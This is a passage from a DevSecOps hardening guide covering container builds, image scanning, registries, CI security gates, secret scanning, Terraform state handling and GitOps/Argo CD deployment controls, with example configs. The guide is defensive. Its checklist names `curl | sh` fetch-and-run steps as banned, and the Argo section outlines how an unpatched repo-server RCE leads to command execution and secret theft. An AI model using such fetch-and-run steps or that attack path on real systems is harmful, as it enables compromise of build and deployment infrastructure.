  setuid binaries you didn't ask for (distroless solves this class).
- **The image must contain what the code needs at runtime**, not just what the
  checkout has: data files, rulesets, models, migrations, and optional extras are
  dropped silently by package manifests and stage copies. "Works in a dev
  checkout, dead in the image" is a silent no-op, not a crash — the feature just
  returns empty. Smoke-test each control **against the built image**, and have
  the component assert its required artifacts at startup (`sota-code-security`
  rules/14 §2).

### 4.2.1 Interpreted-runtime variant (Node example; Python is isomorphic)

```dockerfile
# syntax=docker/dockerfile:1.7
FROM node:22.12.0-bookworm-slim@sha256:<digest> AS build
WORKDIR /app
COPY package.json package-lock.json ./
RUN --mount=type=cache,target=/root/.npm \
    npm ci --ignore-scripts                  # scripts off by default (rules/03 §3.4)
COPY . .
RUN npm run build && npm prune --omit=dev

FROM gcr.io/distroless/nodejs22-debian12:nonroot@sha256:<digest>
WORKDIR /app
COPY --from=build /app/node_modules ./node_modules
COPY --from=build /app/dist ./dist
COPY --from=build /app/package.json ./
USER nonroot
CMD ["dist/server.js"]
```

Python: builder installs into a venv (`pip install --require-hashes -r requirements.txt
--prefix /opt/venv` or `uv sync --locked`), final stage is
`distroless/python3`/Chainguard python copying `/opt/venv` — never ship pip, build
headers, or the resolver into the runtime image.

### 4.2.2 Image metadata for traceability

Stamp OCI annotations at build so every image self-identifies (consumed by rules/02 §2.8
and incident response):

```dockerfile
LABEL org.opencontainers.image.source="https://github.com/myorg/app" \
      org.opencontainers.image.revision="${GIT_SHA}" \
      org.opencontainers.image.created="${BUILD_DATE}"
```

(`image.source` also links GHCR images back to the repo for access control.) Pass via
build args from CI — but remember args used only in LABELs are fine; args carrying
secrets are not (§4.2).

## 4.3 Base image strategy

- **Digest-pin every `FROM`**: `FROM alpine:3.21@sha256:...` with Renovate updating the
  digest (it bumps both tag comment and digest — pin without rot). A bare tag means your
  base can change under you between builds, silently (Medium; High for release builds).
- Minimal runtime, in order of preference for compiled apps:
  `gcr.io/distroless/static` (nothing but certs/tzdata) > distroless/base (libc) >
  Chainguard/Wolfi images (near-zero-CVE, apk-based, frequent rebuilds; check license/SLA
  for the versioned ones) > alpine (small, musl caveats) > slim debian/ubuntu. Full
  distro images in prod = Medium (CVE noise + attack tooling: shells, package managers,
  curl all gift-wrapped for the attacker).
- Interpreted runtimes: use the distroless/Chainguard language images (python, node) or a
  tightly-trimmed slim base; the multi-stage pattern still applies (build deps, compilers,
  headers stay in the builder).
- **One blessed base set per org**, rebuilt/re-digested weekly via automation, with app
  teams consuming the internal mirror — not forty teams pulling forty bases from Docker
  Hub (also dodges Hub rate limits and gives you a choke point for emergency base
  patching).
- Debugging distroless: use ephemeral debug containers (`kubectl debug`) or `:debug`
  variants in non-prod — do NOT add a shell to the prod image "temporarily".

### 4.3.1 Base image upgrade flow (make it boring)

The base image is your largest, most-shared dependency; treat it with rules/03 rigor:

1. Weekly scheduled job rebuilds/mirrors blessed bases, scans them, signs them
   (rules/02), publishes new digests to the internal registry.
2. Renovate opens digest-bump PRs across consuming repos (grouped, automerge-eligible
   when tests pass — a base digest bump with green tests is the safest PR class there is).
3. Emergency path (critical base CVE): the same flow, manually triggered, with an org
   dashboard of which services still run the old digest (query deployed digests against
   SBOM store, rules/03 §3.5).

Audit: ask "when a glibc CVE lands, what happens?" If the answer involves forty teams
editing Dockerfiles by hand, the strategy is missing (Medium).

## 4.4 Image scanning

- Scan in CI per build (`grype`/`trivy image` against the **built digest**, before push or
  between push and promotion) and on schedule against **deployed** digests (rules/03
  §3.6 — new CVEs hit old images).
- Gate on triaged policy, not raw severity walls; same VEX/ignore-with-expiry discipline
  as rules/03 §3.6. A scan step with `continue-on-error: true` or `exit-code: 0` is
  decorative (Medium, High if it's the only control).
- Scan the base image separately on its weekly rebuild — base CVEs are fixed by bumping
  the blessed base once, not by forty app teams triaging the same finding.
- Also run config scanning on the Dockerfile (hadolint; trivy misconfig/checkov catch
  root-user, ADD-vs-COPY, latest-tags) as a PR check.
- Don't conflate: secret scanning of image layers (trivy/ggshield can) is worth one
  scheduled pass over the registry — finds the `ENV TOKEN` mistakes of §4.2 historically.

## 4.5 Registry security & immutable tags

- **Immutable tags**: enable tag immutability where the registry supports it (ECR
  immutable tags, Artifactory, GAR via policy). A re-pushed `v1.2.3` is either an accident
  that breaks provenance or an attack that survives review. Mutable release tags = High.
- **Deploy by digest** (rules/06 §6.6, rules/07 §7.1): manifests reference
  `image@sha256:...`; tags are for humans. `:latest` in any deploy manifest = High; a
  mutable tag in prod manifests = Medium-High.
- AuthN/AuthZ: CI pushes via OIDC-federated, repo-scoped identity (no static registry
  passwords — rules/01 §1.2); runtime pulls via read-only pull identities per
  cluster/namespace; humans get no push rights to release repos (CI is the only writer —
  that's what makes provenance meaningful).
- Separate repos (or registries) for `dev` / `staging-verified` / `prod-promoted`;
  promotion copies a verified digest (rules/02 §2.5), never rebuilds. Prod pulls only
  from the prod registry — enforce via admission policy registry allowlist (rules/07).
- Retention: garbage-collect untagged/dev images on schedule, but **never** delete
  digests referenced by running workloads or release history; keep release artifacts +
  attestations for your audit horizon.
- Pull-through cache for upstream bases (mirrors §4.3 and rules/03 §3.3): availability,
  audit log, single patch point.

### 4.5.1 Reference CI build-push-attest sequence

```yaml
- name: Build and push by digest
  id: build
  uses: docker/build-push-action@<sha> # v6
  with:
    push: true
    tags: ghcr.io/myorg/app:${{ github.sha }}   # human-readable; digest is the identity
    provenance: false        # provenance via attest step below (single source of truth)
    sbom: false
- name: Scan exactly what was pushed
  run: grype "ghcr.io/myorg/app@${{ steps.build.outputs.digest }}" --fail-on high
- name: SBOM + attest + sign (rules/02, rules/03 §3.5)
  run: |
    syft "ghcr.io/myorg/app@${DIGEST}" -o cyclonedx-json > sbom.cdx.json
    cosign attest --yes --type cyclonedx --predicate sbom.cdx.json "ghcr.io/myorg/app@${DIGEST}"
    cosign sign --yes "ghcr.io/myorg/app@${DIGEST}"
```

The invariant: every post-build step operates on `@digest` captured from the push — never
re-resolve a tag mid-pipeline (a re-resolved tag is a TOCTOU window).

## 4.6 Build infrastructure separation

- Builders are not runtime: build clusters/runners have no access to prod data planes, no
  prod secrets, and prod has no reason to reach builders. The build system signs (id-token)
  and pushes — that's its entire prod-facing surface.
- Shared BuildKit/buildd daemons across trust levels are a cross-tenant risk (cache
  poisoning, socket = root): per-job ephemeral builders (rules/01 §1.6) or rootless
  BuildKit with isolated caches. Mounting `/var/run/docker.sock` into CI job containers
  is host-root-for-every-job (High).
- Cache keys must include the trust context: a release build restoring a cache produced
  by an untrusted PR build inherits whatever the PR poisoned (rules/01 §1.6).

## Audit checklist

- [ ] No unpinned/unverified network fetches in builds (no `curl | sh`); toolchain versions pinned; builds run from clean CI checkouts only
- [ ] Multi-stage Dockerfiles; final stage minimal (distroless/Chainguard-class), non-root `USER`, exec-form ENTRYPOINT
- [ ] No secrets in ARG/ENV/COPY'd files/layers — BuildKit secret mounts only; `.dockerignore` excludes `.git` and env/secret files
- [ ] Every `FROM` digest-pinned with Renovate-managed updates; org-blessed base images rebuilt on schedule from an internal mirror
- [ ] Image scans per build on the built digest + scheduled scans of deployed digests; gates fail closed; ignores carry owner + expiry; hadolint/dockerfile misconfig checks on PRs
- [ ] Registry: immutable tags on; deploys reference digests (no `:latest`); CI is the sole writer to release repos via OIDC; promotion copies verified digests, never rebuilds
- [ ] Retention preserves released digests + attestations; pull-through cache for upstream bases
- [ ] Build infra isolated from runtime; no docker.sock mounts; ephemeral or rootless builders; caches scoped by trust boundary

# 05 — Static/Dynamic Analysis & Non-Bypassable Gates

Scope: the automated checks between "code written" and "code merged/shipped", and — at
least as important — the mechanics that prevent those checks from being skipped, muted, or
quietly turned green. A scanner you can bypass selects for people who bypass it.

## 5.1 SAST: Opengrep + CodeQL

Two complementary layers; mature setups run both:

- **Opengrep** — fast, diff-aware, rules-as-readable-code, matching on a **parsed**
  representation rather than text. Run on every PR with your language packs and **your
  own rules** — the highest-value rules encode *your* invariants: "never call raw SQL
  outside the repo layer", "all handlers use the authz decorator", "no `subprocess` with
  `shell=True`". PR runs scan the diff; full scans run on schedule, because new rules
  apply to old code.
  It is the **LGPL-2.1 fork of Semgrep CE**, governed by a multi-vendor consortium, and
  it restores cross-function taint analysis that CE gated commercially; the **rule format
  is compatible**, so existing rules and community rulesets port unchanged
  (`sota/rules/01` §2). Prefer it for anything you need to keep running. Semgrep CE
  remains a drop-in alternative.
- **CodeQL** — deep interprocedural taint tracking with **names and types resolved**;
  catches what pattern-matching cannot (source→sink across files). Heavier:
  default-branch + PR for the languages it supports; use the `security-extended` query
  suite; budget for triage of the first full run.

```yaml
# PR gate — diff-aware, blocking. Verified against Opengrep 1.27.1.
- run: |
    opengrep scan --error \
      --config .semgrep/ \
      --baseline-commit "${{ github.event.pull_request.base.sha }}"
```

`--error` exits 1 on findings; `--baseline-commit` (env `SEMGREP_BASELINE_COMMIT`)
restricts reporting to what the diff introduced. **There is no `opengrep ci` subcommand**
— the CLI is `scan`/`test`/`validate`/`show`/`lsp`, so a workflow copied from `semgrep ci`
will not run. `--config` accepts a directory, a URL, a `git+<url>` remote rule repo, or a
Semgrep registry entry name; **vendor or `git+`-clone the community rulesets you depend on
rather than resolving a registry you do not control** — that registry is operated by the
vendor whose licence change caused the fork.

Suppression discipline (applies to every tool in this file):
- Inline suppressions (`# nosem`, `# nosemgrep`, `# noopengrep`, `lgtm[...]`, `#nosec`)
  require a reason on the same line: `# nosemgrep: rule-id -- input is enum-validated
  above`. Bare suppressions fail the build (`--disable-nosem` audits them; a grep-based
  CI check works everywhere). Opengrep honours all three of its own tokens **and**
  `.semgrepignore` files, so an existing suppression inventory carries over — which also
  means porting the engine does **not** re-expose anything previously silenced. Audit it.
- Audit the suppression inventory quarterly: count, age, clustering (one file with 30
  `#nosec` is a finding in itself).
- New-code-only baselining is acceptable to get started (don't block on legacy debt), but
  the baseline must shrink: track it, never add to it.

```yaml
# CodeQL — default branch + PRs, extended queries, per-language matrix
on:
  push: { branches: [main] }
  pull_request: { branches: [main] }
  schedule: [{ cron: "31 4 * * 1" }]      # weekly full pass picks up new queries
permissions: { contents: read, security-events: write }
jobs:
  analyze:
    strategy: { matrix: { language: [go, javascript-typescript] } }
    steps:
      - uses: actions/checkout@<sha>
      - uses: github/codeql-action/init@<sha>
        with: { languages: "${{ matrix.language }}", queries: security-extended }
      - uses: github/codeql-action/analyze@<sha>
```

Tool selection note: SARIF upload + code-scanning alerts give one triage surface for
Opengrep, CodeQL, and IaC scanners — use it rather than three dashboards, and make "no new
code-scanning alerts" the required check where the platform supports it.

## 5.2 Secret scanning

Layered — each layer catches what the previous missed:

1. **Pre-commit** (gitleaks/ggshield hook): cheapest fix, before the secret ever hits a
   ref. Advisory (developers can skip hooks) — never your only layer.
2. **Push protection** (GitHub secret scanning push protection / pre-receive): blocks the
   push server-side. Turn it ON org-wide; bypasses require a reason and generate an
   auditable event — review those events.
3. **CI scan on full history** for new repos/audits (`gitleaks git`), diff scan per PR.
4. **Provider-side detection** (GitHub partner program auto-revokes some token types) —
   nice backstop, not a plan.

**A committed secret is a rotation event, not a deletion event.** `git filter-repo` after
the fact cleans the repo, not the forks/clones/caches. Process: revoke/rotate first, then
clean history, then verify the old credential is dead. Any finding response that ends at
"removed the file" is incomplete (keep it High until rotation is confirmed). The full
leak-response runbook and scanner configuration live in sota-secrets-management rules/04;
this section owns the pipeline gate layering.

Tuning: enable entropy + provider-pattern rules; maintain an allowlist for test fixtures
with fake-but-realistic secrets (and mark them clearly, e.g. `TEST_ONLY_` prefixes) so the
tool stays quiet enough to be believed.

```toml
# .gitleaks.toml — allowlist with surgical scope, never directory-wide wildcards
[allowlist]
  paths = ['''tests/fixtures/fake_credentials\.json''']   # exact files
  regexes = ['''TEST_ONLY_[A-Za-z0-9]+''']
# BAD: paths = ['''tests/.*'''] — tests are where real creds get pasted "temporarily"
```

Rotation runbook per credential type (who rotates, blast radius, dependent systems)
should pre-exist the incident — write it when you wire the scanner, not at 2am. The
scanner finding a secret is the *start* of the response; verify revocation by attempting
use of the old credential.

## 5.3 IaC scanning

- Tools: **checkov** or **trivy misconfig** (tfsec is folded into trivy) for Terraform/
  CloudFormation/k8s manifests/Dockerfiles; run on PR (changed paths) as a required check.
- Scan the **plan**, not just HCL, where possible (`terraform show -json plan.out |
  checkov -f -`): catches values resolved from variables/modules that static HCL scanning
  misses.
- Policy exceptions inline with justification and ID:
  `#checkov:skip=CKV_AWS_20:Public website bucket, approved SEC-1234` — same suppression
  discipline as §5.1 (no bare skips, periodic inventory).
- High-signal defaults to never except away: public S3/storage ACLs, 0.0.0.0/0 ingress on
  admin ports, unencrypted state/storage/DB, IAM `*:*`, disabled logging.
- Custom policies for org invariants (allowed regions, mandatory tags, blessed module
  registry only) — Rego (OPA/conftest) or checkov Python/YAML custom checks; keep them in
  a versioned policy repo with tests (rules/07 §7.2).

```yaml
# IaC gate: plan-aware checkov on Terraform changes (with no-op fallback — rules/09 §1)
jobs:
  iac-scan:
    if: ${{ github.event_name == 'pull_request' }}
    steps:
      - uses: actions/checkout@<sha>
      - run: terraform init -backend=false && terraform plan -out=plan.bin && terraform show -json plan.bin > plan.json
      - run: checkov -f plan.json --repo-root-for-plan-enrichment . --soft-fail-on LOW
        # soft-fail ONLY on LOW; HIGH/CRITICAL and custom org policies hard-fail
```

(When the plan needs real credentials, this runs under the read-only plan role of
rules/06 §6.2 and never on fork PRs — rules/01 §1.4.)

## 5.4 DAST basics

DAST finds what static analysis can't see (auth misconfig, header gaps, real injection
through the full stack), but it's slow — keep it out of the PR path:

- **ZAP baseline scan** (passive, minutes) against ephemeral/staging deploys per merge —
  safe to run anywhere; gates on new alerts vs baseline file.
- **Authenticated active scans** scheduled (nightly/weekly) against staging with seeded
  data — never against prod without explicit scoping, and never against shared staging
  during others' test windows.
- API-aware scanning beats blind crawling: feed the OpenAPI spec (ZAP/StackHawk import) so
  coverage is your actual surface, not what a crawler stumbled into.
- Triage pipeline same as everything else: findings → tickets with owners, baseline file
  reviewed in PRs (a growing ignored-alerts baseline is the DAST version of mute culture).

Severity calibration for DAST findings: treat them as *leads*, not verdicts — confirm
exploitability before filing High/Critical (DAST false-positive rates make unconfirmed
findings a credibility tax on the whole program). Conversely, a missing-auth finding on
an internal admin route confirmed by one manual request is real regardless of scanner
confidence scores.

## 5.5 License compliance

- Enforce at the dependency-review gate (rules/03 §3.2 `deny-licenses`) and verify against
  the SBOM (rules/03 §3.5) for the full transitive picture — manifest-level checks miss
  transitive copyleft.
- Policy is a legal decision encoded as config: typical denylist for proprietary shipping:
  AGPL/SSPL always-review, GPL for statically-linked/distributed code, unknown/missing
  license = blocked until identified (unknown is not "fine", it's "no license = all rights
  reserved").
- Watch for **license changes on upgrade** (relicensing events: Mongo→SSPL, HashiCorp→BUSL,
  Redis) — the diff-aware gate catches these only if it checks licenses on version
  *changes*, not just new packages.

## 5.7 Test discipline — no flaky-mute culture

Flaky tests are a security topic: a suite people retry-until-green will also be retried
through a real regression, and "tests are red anyway" normalizes overriding gates.

- **Quarantine, don't delete or blind-retry**: a flaky test moves to a quarantine
  set (still runs, doesn't block) **with a tracking issue, an owner, and a deadline**;
  quarantine size is a tracked metric with a hard cap. Quarantine without deadline =
  deletion with extra steps.
- Retries: at most one automatic retry, *recorded* (flake-detection reporting), never
  silent. `retry: 3` sprinkled in CI config to make red go away is mute culture (flag it).
- A test that is muted/`@skip`ped without a linked issue is a finding (Low-Medium,
  pattern-dependent). Greps: `@pytest.mark.skip`, `it.skip`, `xit(`, `t.Skip(`,
  `@Disabled` — sample them, check for issue links and age.
- New-flake policy: a test that flakes on main within N days of introduction reverts or
  fixes-forward immediately — flake debt compounds.
- Keep the blocking suite fast (<10–15 min PR path) by tiering: fast suite gates the PR;
  slow/integration suites gate the merge queue or deploy, and **their** failures block
  promotion (rules/06 §6.6), not get waved through.

## 5.8 Putting it together — the PR gate stack

Reference layout (each its own required check, all diff-aware, all fail-closed):

```
PR opened ──► lint+unit (fast)            [required]
          ──► opengrep diff scan           [required]
          ──► dependency review + license  [required]
          ──► secret scan (diff)           [required]
          ──► IaC scan (changed paths*)    [required, *with no-op fallback]
          ──► build + image scan           [required when Dockerfile/src changes]
merge queue ─► full test suite on merge result
post-merge ─► CodeQL full, DAST baseline on preview, scheduled deep scans
```

Latency budget matters: every gate over ~10 minutes generates organizational pressure to
remove it. Diff-aware modes, caching, and tiering are how gates survive.

## Audit checklist

- [ ] SAST: diff-aware Opengrep (org rules included) required on PRs; CodeQL (or equivalent deep SAST) on default branch; full scans scheduled
- [ ] All inline suppressions (`nosemgrep`/`#nosec`/checkov skips) carry justifications; suppression inventory reviewed; baseline only shrinks
- [ ] Secret scanning: push protection org-wide, PR diff scan, history scanned at onboarding; committed secrets trigger rotation, not just removal; bypass events reviewed
- [ ] IaC scanning on PRs (plan-aware where possible) with the high-signal defaults non-exceptable; custom org policies versioned + tested
- [ ] DAST baseline on staging per merge, authenticated scans scheduled, OpenAPI-fed; baseline file changes reviewed
- [ ] License gate covers transitive deps (SBOM-based) and license *changes* on upgrades; unknown licenses block
- [ ] All gates are required checks by exact name; no `continue-on-error`/`|| true`/soft-fail on gate steps; path-filtered required checks have no-op fallbacks; rulesets apply to admins; merge queue (or equivalent) re-validates merge results
- [ ] Gate workflows protected from modification by the gated change (CODEOWNERS/required workflows)
- [ ] Flaky tests quarantined with owner+issue+deadline and a capped quarantine size; retries recorded; skipped tests linked to issues; PR gate latency within budget

# 06 — IaC & Deployment Security (Terraform, GitOps, progressive delivery)

Scope: infrastructure change control and the path an artifact takes into production.
Principles: state is secret, plans are reviewed and applied verbatim, git is the single
source of truth (and therefore a tier-0 system), every deploy is reversible.

## 6.1 Terraform state is secret material

State files contain resolved secrets in plaintext (DB passwords, generated keys, full
resource attributes) regardless of how carefully you wrote the HCL. Treat state like a
credentials vault:

- **Remote backend, encrypted, versioned, locked**: S3 + SSE-KMS + versioning + (modern TF)
  S3 native lockfile or DynamoDB locking; or Terraform Cloud/HCP, GCS+CMEK, azurerm with
  RBAC. Local state, or state committed to git, = Critical.
- Access to the state backend is access to every secret in it: scope IAM to the state
  key prefix per workspace; humans get read at most, and ideally nothing — plan/apply runs
  in CI and people read plan output. Broad `s3:*` on the state bucket for all engineers =
  High.
- **Keep secrets out of state where possible**: prefer `ephemeral` resources/values and
  write-only arguments (TF ≥1.10/1.11; OpenTofu ≥1.11, Dec 2025) for credentials; or have
  Terraform create the *container* (secret resource) while a separate controlled path
  writes the *value*; or reference external secret managers at runtime (ESO, rules below).
  `random_password` + direct DB resource args put the password in state forever — flag,
  with the ephemeral alternative named. On OpenTofu, also enable its native **state
  encryption** (client-side, no Terraform equivalent) as defense in depth on top of
  backend encryption.
- State backups inherit the classification: bucket replication targets and DynamoDB/lock
  tables are in scope for the audit.
- Never `terraform.tfstate*`, `*.tfvars` with secrets, or crash logs in git —
  `.gitignore` them and secret-scan for them (rules/05 §5.2).

```hcl
# GOOD — backend with encryption, locking, versioning assumed on the bucket
terraform {
  backend "s3" {
    bucket       = "acme-tf-state"
    key          = "prod/network/terraform.tfstate"
    region       = "eu-central-1"
    kms_key_id   = "arn:aws:kms:eu-central-1:123456789012:key/..."
    use_lockfile = true              # native S3 locking (TF >= 1.10)
  }
}

# GOOD — secret never enters state (TF >= 1.11 write-only argument)
ephemeral "random_password" "db" { length = 24 }
resource "aws_db_instance" "main" {
  password_wo         = ephemeral.random_password.db.result
  password_wo_version = 1            # bump to rotate
  # ...
}

# BAD — password persisted in plaintext state forever
resource "random_password" "db" { length = 24 }
resource "aws_db_instance" "main" { password = random_password.db.result }
```

## 6.2 Plan/apply separation with review

The change-control core: **what was reviewed is exactly what gets applied.**

- **PR opens → `terraform plan` runs with read-only credentials** (a plan needs read; a
  planner role with write defeats the separation — and plan output lands in PR comments,
  so the plan job itself must be treated as untrusted-adjacent: no fork PR planning with
  real creds, rules/01 §1.4).
- **Plan artifact is saved (`-out=plan.bin`) and the apply consumes that exact file.**
  Re-planning at apply time ("plan for review, fresh plan on merge") is TOCTOU: what
  applies may differ from what was approved. Store `plan.bin` as a build artifact keyed to
  the commit; apply job downloads and `terraform apply plan.bin`.
- **Apply runs only**: after merge to the protected branch, in a protected environment
  with required reviewers (rules/01 §1.7), under a separate OIDC role that has write
  (rules/01 §1.2). Two roles minimum per workspace: `tf-plan-ro`, `tf-apply`.
- Plan output in the PR (atlantis/tf-comment style) is the review surface — reviewers
  approve the *plan*, not the HCL diff alone. Train for the dangerous lines: `forces
  replacement`, `destroy`, IAM/security-group changes.
- `-detailed-exitcode` to distinguish "no changes" from "changes" in automation; never
  auto-approve applies (`-auto-approve` is fine ONLY when applying a reviewed saved plan —
  that's what the review was).
- Local applies from laptops against shared envs = High (no review, no audit, drift,
  credential sprawl). Lock it out: humans don't hold apply-capable cloud creds for
  prod; the pipeline role's trust policy only accepts the apply workflow identity.

Reference workflow split:

```yaml
# plan.yml — on: pull_request; role: tf-plan-ro (ReadOnly + state read)
permissions: { contents: read, id-token: write, pull-requests: write }
steps:
  - run: terraform plan -out=plan.bin -detailed-exitcode -input=false -lock-timeout=5m
  - uses: actions/upload-artifact@<sha>
    with: { name: plan-${{ github.sha }}, path: plan.bin }

# apply.yml — on: push: {branches: [main]}; environment: tf-prod (required reviewers)
permissions: { contents: read, id-token: write }
steps:
  - uses: actions/download-artifact@<sha>   # the SAME plan.bin reviewed on the PR
  - run: terraform apply -input=false plan.bin
    # apply fails if state changed since plan — that failure is the control working;
    # the response is re-plan + re-review, never force.
```

Atlantis/TF Cloud/Spacelift implement this pattern as a product — fine, audit the same
properties: read-only plan creds, saved-plan apply, reviewer gate, per-workspace roles.

## 6.3 Drift detection

Drift = reality diverged from code: clicky-ops, incident hand-edits, or an attacker's
changes that your next apply will either revert (outage) or silently absorb.

- **Scheduled `terraform plan -detailed-exitcode` per workspace** (nightly), alerting on
  exit code 2 with the diff. Route to the owning team; drift findings get the same
  triage discipline as vulns (owner, deadline) — an ignored drift channel is no detection.
- Drift response is binary: import/codify the change (it was a legitimate emergency fix)
  or revert it (it wasn't). Both end with main == reality.
- Reduce drift at the source: read-only consoles for humans in prod accounts (break-glass
  excepted, rules/07 §7.5); SCPs/IAM denying out-of-band mutation of TF-managed resource
  classes where practical.
- GitOps equivalents: Argo CD `selfHeal: true` auto-reverts live drift; Flux reconciles
  continuously. Self-heal is drift *prevention*; still alert on the correction events —
  the interesting question is who changed it.

## 6.4 GitOps (Flux/Argo) security model

Pull-based GitOps inverts the trust: CI never holds cluster credentials (huge win — a
compromised pipeline can't `kubectl` into prod), but **the config repo and the controller
become the deployment authority**:

- **The config repo is prod**: full rules/01 §1.7 protection (reviews, required checks,
  no direct push, CODEOWNERS per environment path), because merging to `envs/prod/` IS
  deploying. Most orgs protect the app repo and leave the manifests repo wide open —
  standing High finding.
- **Controller blast radius**: Argo CD's controller is cluster-admin-equivalent; its API
  + UI are a deployment control plane. SSO + RBAC (no local admin account in prod),
  `AppProject`s constraining each team to their namespaces/repos/clusters,
  `sourceNamespaces`/destination restrictions. A default `AppProject` with `*` everything
  = High. Treat even *read-only* Argo access as sensitive and patch the controller as
  tier-0 software: CVE-2026-42880 (CVSS 9.6, fixed in 3.3.9/3.2.11) let read-only users
  extract plaintext k8s Secrets via the ServerSideDiff endpoint.
- **Repo-server/Redis network isolation is mandatory, not optional**: the repo-server's
  internal gRPC service is unauthenticated and carries a publicly disclosed, still-unpatched
  RCE (Synacktiv, Jul 2026 — reported Jan 2025, no CVE): any compromised pod that can reach
  its port can execute commands via crafted Kustomize/Helm options, read the Redis password,
  poison cached manifests, and ride auto-sync into attacker-controlled deployments. The Helm
  chart ships NetworkPolicies but they are **off by default** (`networkPolicy.create: false`)
  — enable them so only Argo components can reach repo-server and Redis ports.
- **Auto-sync to prod only with gates in front**: auto-sync + self-heal is correct *when*
  the path into the repo is gated (reviews + verified images). Argo sync windows and
  health checks; sync waves for ordering.
- **Secrets in GitOps**: never plaintext in the repo. Preference order: External Secrets
  Operator / CSI secrets-store referencing a real secret manager (rotation, audit, nothing
  secret in git) > SOPS+KMS (encrypted-in-git, key via cloud KMS) > Sealed Secrets
  (cluster-key dependency complicates DR). Plaintext k8s `Secret` manifests in a repo =
  Critical-adjacent High, rotation required (rules/05 §5.2).
- **Image automation** (Flux image-update / Argo Image Updater) re-introduces the supply
  chain into git: constrain it to digest updates matching signed images (admission still
  verifies, rules/07 §7.1), and its write token is scoped to the one file path it bumps.
- Manifest provenance: pin remote Helm charts by version + verify chart signatures/
  digests (OCI charts by digest); a `targetRevision: HEAD` on a third-party repo is
  rules/03 unpinned-dependency, cluster edition.

```yaml
# GOOD — Argo CD AppProject as a hard boundary per team
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata: { name: payments, namespace: argocd }
spec:
  sourceRepos: ["https://github.com/acme/payments-deploy.git"]   # only this repo
  destinations:
    - server: https://kubernetes.default.svc
      namespace: "payments-*"                                    # only these namespaces
  clusterResourceWhitelist: []          # no cluster-scoped resources for app teams
  namespaceResourceBlacklist:
    - { group: "", kind: ResourceQuota }
    - { group: "rbac.authorization.k8s.io", kind: "*" }          # apps don't ship RBAC
```

Audit shortcut: `kubectl get appproject default -o yaml` — if real apps sit in the
`default` project (sourceRepos `*`, destinations `*`), every repo write anywhere becomes
potential cluster-admin (High).

## 6.5 Progressive delivery & rollback readiness

Deployment strategy is a security control: blast-radius limitation for bad code is
blast-radius limitation for compromised code.

- **Canary with automated analysis** (Argo Rollouts/Flagger): shift 5→25→50→100% gated on
  *metrics* (error rate, latency, business KPI), auto-rollback on regression. A "canary"
  that a human eyeballs and promotes by feel is a slow rollout, not a canary — define the
  AnalysisTemplate.
- **Blue/green** where canary is impractical (schema-coupled, session-heavy): keep the
  idle stack for instant rollback; the cutover and rollback are both one routing change —
  and *test the rollback path*, not just the cutover.
- **Feature flags decouple deploy from release**: dark-launch code, kill-switch risky
  features (a flag flip is your fastest "rollback"). Flag hygiene: flags have owners and
  expiry; stale flags are dead branches in prod with untested OFF paths. Flag service
  access is a prod control plane — RBAC + audit its changes.
- **Rollback readiness, tested**:
  - Previous artifact digest is retained and deployable (rules/04 §4.5 retention) and the
    rollback is a pipeline action (re-point to previous digest / `git revert` the GitOps
    commit), not an SSH session. Roll back to a *known artifact*, don't rebuild old source.
  - **DB migrations are expand/contract**: every migration is backward-compatible one
    version (add column nullable → deploy code → backfill → enforce → later drop). A
    deploy whose migration breaks version N-1 has no rollback — that's a finding even if
    the deploy succeeded.
  - Measure and drill it: if rollback hasn't been executed in anger or game-day within
    ~quarterly, assume it doesn't work.
- Maintenance reality check: deploys gated on a single human, untested rollback, or
  Friday-evening big-bang releases are availability findings (Medium) — availability is a
  security property.

```yaml
# GOOD — canary that decides on data, not vibes (Argo Rollouts)
strategy:
  canary:
    steps:
      - setWeight: 5
      - analysis: { templates: [{ templateName: error-rate }] }   # auto-abort on breach
      - setWeight: 25
      - pause: { duration: 10m }
      - analysis: { templates: [{ templateName: error-rate }, { templateName: p99-latency }] }
      - setWeight: 100
---
apiVersion: argoproj.io/v1alpha1
kind: AnalysisTemplate
metadata: { name: error-rate }
spec:
  metrics:
    - name: error-rate
      interval: 1m
      failureLimit: 2
      successCondition: result < 0.01
      provider:
        prometheus:
          query: sum(rate(http_requests_total{job="app",code=~"5.."}[2m])) / sum(rate(http_requests_total{job="app"}[2m]))
```

Expand/contract migration sequence (the only DB pattern compatible with canary AND
rollback): 1) additive migration ships alone (new column nullable / new table / dual-write
shim) — old code unaffected; 2) code reading new path ships, still writing both;
3) backfill; 4) constraints tightened, old path removed — **at least one release later**.
The audit question for any migration PR: "can version N-1 run against the post-migration
schema?" If no, rollback is fiction for that release window.

## 6.6 Environment parity — build once, promote many

- **The artifact that ran in staging is byte-identical (same digest) to what reaches
  prod.** Rebuilding "the same tag" for prod invalidates every test and every attestation
  (rules/02). Promotion = copying/approving a digest, never recompiling.
- Configuration differences between environments are **declared and diffable**: kustomize
  overlays / Helm env values / TF workspace tfvars in git — not hand-set env vars or
  console toggles. The prod-vs-staging delta should be reviewable in one screen; an
  unexplained delta is where "works in staging" incidents live.
- Same pipeline shape per env (staging deploys exercise the prod deploy mechanism); only
  approvals/gates differ. A bespoke prod-only deploy script is untested by definition.
- Ephemeral preview environments (per-PR) are great — but they multiply credentials and
  DNS: previews get isolated, low-privilege, auto-expiring infra, never shared prod
  data or prod-scoped roles (and watch rules/01 §1.2 OIDC sub-claims: PR-triggered envs
  must not be able to assume prod roles).
- Data parity without data leakage: staging uses masked/synthetic data. A prod-data dump
  in staging makes staging a prod-tier system with non-prod controls (High).

## Audit checklist

- [ ] TF state: remote encrypted versioned backend with locking; no state/tfvars in git; backend access least-privilege; secrets kept out of state via ephemeral/write-only/external-manager patterns
- [ ] Plan on PR with read-only role; saved plan artifact applied verbatim post-merge in a reviewer-gated environment with a separate apply role; no laptop applies; no fork PRs planning with real creds
- [ ] Scheduled drift detection per workspace, alerts owned and actioned (codify or revert); human prod console access read-only outside break-glass
- [ ] GitOps repo protected like prod (reviews, CODEOWNERS per env path); Argo/Flux RBAC + AppProject/destination constraints; Argo NetworkPolicies enabled — repo-server gRPC is unauthenticated with an unpatched public RCE (mid-2026); no plaintext secrets in repos (ESO/SOPS/Sealed); third-party charts/manifests pinned by version/digest
- [ ] Image automation constrained to digest bumps of signed images with a path-scoped token
- [ ] Progressive delivery with automated metric analysis and auto-rollback; blue/green rollback path tested; feature flags have owners/expiry and audited control plane
- [ ] Rollback: previous digests retained and re-deployable via pipeline; migrations expand/contract (N-1 compatible); rollback drilled within the last quarter
- [ ] Build-once-promote-many by digest; env config deltas declared in git and reviewable; previews isolated with non-prod roles; staging data masked/synthetic

